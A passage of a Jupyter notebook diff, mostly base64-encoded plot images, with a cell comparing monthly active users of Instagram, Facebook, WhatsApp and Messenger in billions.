133klU5DJo76KuX3f4Hc/vMNx3Hv0lmGXF3+noyy6bY5XflUssqmGp+KPU42JpA6Y2aWTSS9bGKb43jzPLVkgql9sjw4NpSt9jDZJbOMdEl/il55E42JVVA1i/zyqaQXPkm3zAfp1GsU7TtfzY23PsuK92pMDa6rzSjDXDlaJhk06DWE8fLPGZBR9E5Ao3yts2CTzFg9k4NhnJ3qEJAg31I2cigYS0Q2lHhSC+Gd0Lyc4JFZeHY/QuP222jaei0tm6/Et2kEkW0jiG69hOgHw4xEtg4lumUo0a2DiW8ZTHTTYKIbBhNZPwRn3VDCay8mtOZigquHEVh1Mf6Vw/C+MwTvm4PwLR1AcEl/QouqCC8oJzKvFOaWwowSmNwXxhfBU8U4jxbSfFcWx25K5+BV2ewZkc/Oy0rYe+vlNE8aB6tXQrUibkrlVzZwkCbRMZgYTYzmgLvwTj3OLtDoeCbH//R996kAR6/FaGysTxQX2ixjhXT9fpWJ2LjaweoDJgFUoKOFeugYLHp9FyNvnUtqzp1G0+mSfj89sseYlH+ZM7lVz5viRhGry7SygCPQscAj8HFFrXiNlE0h/QSZZJ7LUSytRWIcvGVzyC2bQ17JbHKKZ1BU9SxF/WaSVzqB7hn3c0HXG2nffSS98+6ipP9DLHvnAPsPx00So64h4MRo9qiXveav6gWDptbJqHGJFAFpd1LppemcvnvgapMnHs9qNq1orgmnKaagYMxEYgLBCBLb9U+3T9nBSq7bSbx5Jc6xF/F8PoH6nQ9Rt/13+HZcR3DH5QS2Dyew/RJC24cR2jaY8LaBRD7oT2RLP2KSTVVEN/Yzvh9nXRXO2v5E3utHdGWVMasUvYq8UUbstVLir5TCS8XwQhG8UALPl8LscmJTivGOyaP+wRxqf5/L0ftK+XDUQPaMuQ3PyzPg4w3gUeKiSMAcAh4v3qBDsxOhKezQEpGD0NrvqLDS22xCxTKh3EnXFmj+fMCmjTl1koaj+yqACYsu1vjmHPNcO74cpMrFCTotHK05Qos/ZDQdzQjRAb21cj9DRjxO8cBHSMu/ly5pd9Ml7UHjI1E3AuNALp1rSLrSS+fx/ysZpXPJLH42QZouTWYO+aVzyFUld8F4emWPoahyAj2z7+WXHUZwzq8HkZ53I/c8/CLvb28yJqBKM3RPZRmFFXIz+QqiHg3Q0qCcMmV6W/MxeVSKgEpiAmcdxJr4rg/BXQR/7PHkxXPic90ch2gkYNLdFSbXfdGrYanZIVVVqy5JhFqiSawGlPm7CafpLQI1z3H8o99Tv+M26j+8lcYPb6Rxx3U077gCz/YR+D4YRmj7xYQ/GExkyyDk34luGEDk/f5E1vcjtq4f8uXE5cd5u9yEyuNvVBJ7rZLoKxVEF1bgnVtMYF4l3jn9qZ5Yxp5Hi9j9aBk1E4bT9PzdsOMtOPyxaStMqMnw2IT9HnPuKpGyjC+2Vsjk5zkOoZCawFmF++QWum3HR7vSHzvuX9//uZGnBOAIbNoAjiJs7gJUXogcpNZtGjGgo3o6u+FYTUelDo0tAdMiyGxDcfh4b5DJs9dy6TUTyci/h269R5GScb+h7cwun2GjUmXPmnC5QuZJeQ4Bijo+nCAl88komU9WyTyy+swks89UsgqnklM0ldyiiWQWPEmvjPvo0vNWfvbLwaSkX8s1N05gweKtHKgWPNrtsTkITV6f0ct1bf5Ai6GGEIgY8n9RRCjWL5U9lsgCVw1h1LEdR0006kRN5HTft7OaTatm4/J1WH+NmYzq66N2G+KyIWyqvFVrpZChWloQF/A0QFwkQ/uIeVcRbXmNQN1LeA7PpP6zcVR/fD/VH9zO0c0jadw6kqYt1uQKbLyU8MbhRDYNh82XwZbLW/04wRWDjCnV9Pog6l4ZSPXCQRxZMJidMyr4ZPZQPnthJDVL7yfw/jTYvRRqN4N3nwWZoMjLFda1jc5cgFFalmpgtOslSpkSGde2rEMeC2NKthmP0z3Zzuz3JRLLTHLZSWDTBnCS5+ACk3u0Geju2Lj5OsaXlchIl5NVLWMEPCJlO3gUFr++m9tGPUdh6f1cmHIL5110M+d0GMm5v7mZjj3vpmfOaDKLxpFdPIGsvhPI7DMxIZPJKJxkWquk5U8y2cIdu91Lxy6jOP/C6/nP8y7nnPMu5aKU6yitfIDLrn6KNe/X8PmRKAHV2IrJwLG1toJQky2fmJduRbYpI0jkR7n1S8nSAnvdXyc1yFmwaV1cyUVoJqR2PpM1KbCxgCOg0aK0ZRDWqWpyE8RiFldYVcWY+yH6CdHgNhzPe4QalhE89jLho89Tv3McjR+PpmnbgzRvuYemTXfQ/P7vaF53m5FjK0ZybOX11K6+idr3bqdh3b00vv8gTRtH07jpKTi4EI6+AXVrwfsRBD+39VJKSBQ5mNnFLKOaNBcBjax1AY0eu0Bj7IM2SXq6HveakovxzO5yp/932oKNFtIXAU5bLS3h4zkBhO1csN9hv1cOViUFqspeJorGMpoAbxFENjbByvfrWbTsAONnrGfU/S/z2ysnkl96Lxf1vJpzOwyjQ5er6NDlGtp3voYOnUfSsesNXJRyq9WO0kZRUvUYw4Y/w213zOfJ8ctZuHgnW3a00KD9Iw5icRWwSNvWUfQiKtU15xULGNYibYIGbFqrsd15ndxE9b5pMmcKlm0Bs67HBdjTf2/sXDoLNq1g06ZqXBMpUfdhK8jdok63CM1qAe6u594oq6LL+RgCgY+pu1JL3wPg7IPwJxD8ELyboXk91L8Htavg2Eo4voJo7XKidSuIN6yG5nXg2QJ+gcqnqJyCkIBM5luj6QShKSd+GW8gQrNX/XzsItJ5JcqYzC7sPnY1F3eXcxekudavYbKdqUncFhROTJtPLCBpNq60Xucfeu9kkE2CmDGzY0FD8xEI+EzfLGNrC6iU4p8waQyrRxgaA3C8GQ4dj/DZ4QBrNnzOqvWfs3Ldft597wCr1x/h/S21bNnRxPadHuPHr2sWnwyo07DMd0NFJB+M648R0MQcQzAfcmT26VcjhhbCAog7RxNgm5gTdlO0GrlpNKeNVEXKqq3VXG/V/k6+/tP3/BsFNjoZ10/QdmKeLp9N2+88+bFZoKbAPrlQWxfhCTfCVbvt7tkWcGQSG7M40dnQUECIGzcWsPQPxsHcksjhUR5PgxWZYkokPEH0mj4rp7SNHYnrJmRIt4L4HAe/EzcJwJqYyhHRhLRaSgIsWyeaJkzb83Yf2wkZbyWstmB18tj8eTxPgoK9VnttBoBdoGm9j6cAGvNe4jtax8qOmzU9woRDPuPTUx5WXCx2cjb7PfhbmmlpbjT+EqP5Gn3DthRyfX6BsC0A1nMjAo+TJaGxtH7GPI8SioUJhn34Ai0Ewh5TXCpeI9fnJOe2oUI9paaSuKetZRtWA7ItdBNz3ZbFJfxbuuYzI2fBJjGwBuVNNyWZTBbxDdprIbYVQ91iJ6HZRU1L0gTPjGEIlMMt0pqno4lg97yImTCaNH5HLH0i3bJMgooLic3PCfuIuhKyvCwKSbrifo+taA6ZWibr8LO3UUAjmivXJHI1GFsNbwGm7e6nSSUfRSIw01pkeaYm25n/XhdEddQ9SoDKCce2C+kkjUcmCD7jj0tqSO53qUjVOlRdJ7O9H0l2RuPnU1uWaNC0ZnFr8fR/4XCEYCBCwO/g9zl4PSE8LWFamkNGmpv8RmMRe6Mv2Gw6e2hj0R1155AldbeajD0H+9v6HTn6XY22dZNs3WwS49IKOEntR5+VZiNxNeMzdZ++cWDjajdtL/jr0Wxk/Qpo3MbpERspbAM00liTDkR3J5VqakW7nYnsRC0/a6s2YbJ3kjtbwtBqze50YyLmZigEZjI63Ztv+z9rDMwEUycDRY8iIeKiCw35iQYCOAF/YrJZc1ATx56rS71hJ9wpwSYxf/X5tuP+5/84OYbJa0ksvNbd241Yie7yVGCTBC2ZShJ9lxa4MnElht/ahJlbB73NhnNyqPkPPDe3PWS6LIhTxnSgNOF43ZwkoCUXbPIcBELSo6xWm+R1Sl5zW4BNPjag5FZwx5Ovf9n//bHvJ8/9qz06LRzEbU9B5pR7UV8H2FibVhrKfwUO0x/VOFTdBZycxMaMSvDm2J0sbNLA9dg9b3sUitiJJiBQ7k5bUQZnqwoVs9qR/i8ccYwoC1TUn9YlqNCsFe2uOneFdS1YJM/RBcYkiLT1PbXZ3RITzh3vP+9j8t4kNRstJHdzSLId2s1A71kAsZpqkirB1RDco/xjeizqEjddRY8NLasTNd0nRM0gUScKaTMSPddvhMPSQEIEg+oAETSP9Zpb9OrOGX3WAJt+SxXqilirUlt+HEfUtjFCjkyrgNGWBUzSfmwAIxHYMFqMvZbWeZDYONv6r8zmk6CPSI7H6QUereXT+XfawcasywQBuia/Ft6ZXQTW9LHaSQjTK0c0m0YskbYbSnRvVuskTPhK7PnZxW96KZ00xu5NF72modjU7DGzV1umEmF8xMWR7KhuJWhSyAVmghWlnLlxsWA8iCQUs6IIicZH32+0rzbamAGaEzQWAY6AJhFZa/VTudG10zvRzuw9O/lc/xDQuCTdyc3EjdjYBZYAG6Pt6P7Z73Hvr3uUwqnHhnpDAO36X1xfi8ZdSkgCibTG3A1F3+n+afEJYAQu+n1Xc3FBRv+v79FbpimI6Ji0F8kJbQDHrTTQOYRwCfOVoiGRhi5xTUHzv+6cUJWC2vy6/itFpow2L/NR53PymP7xz13/q3vdp+t4RsDmdJ3c2e85OwJnR+DbMwJnwebbcy/PXsnZEfhGj8BZsPlG356zJ3d2BL49I3AWbL499/LslZwdgW/0CPxfsrDWWym0ETwAAAAASUVORK5CYII=" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram users vs other Facebook apps :" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users vs other Facebook apps\n", + "_________________________________________________________________________________________________________________________\n", + " App_name Monthly_active_users(billions)\n", + "0 Instagram 1.0\n", + "1 Facebook 2.7\n", + "2 WhatsApp 2.0\n", + "3 Messenger 1.3\n" + ] + }, + { + "data": { + "image/png": "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